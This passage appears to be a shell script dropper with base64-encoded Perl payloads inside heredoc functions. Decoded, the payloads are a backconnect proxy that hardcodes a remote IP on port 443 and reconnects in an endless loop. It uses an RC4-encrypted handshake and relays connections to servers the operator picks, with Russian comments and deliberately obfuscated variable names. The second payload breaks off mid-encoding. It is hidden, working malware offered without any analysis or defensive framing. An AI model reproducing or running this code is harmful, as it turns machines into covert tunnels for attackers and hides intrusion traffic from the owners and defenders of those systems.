MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_59() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yNTMnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
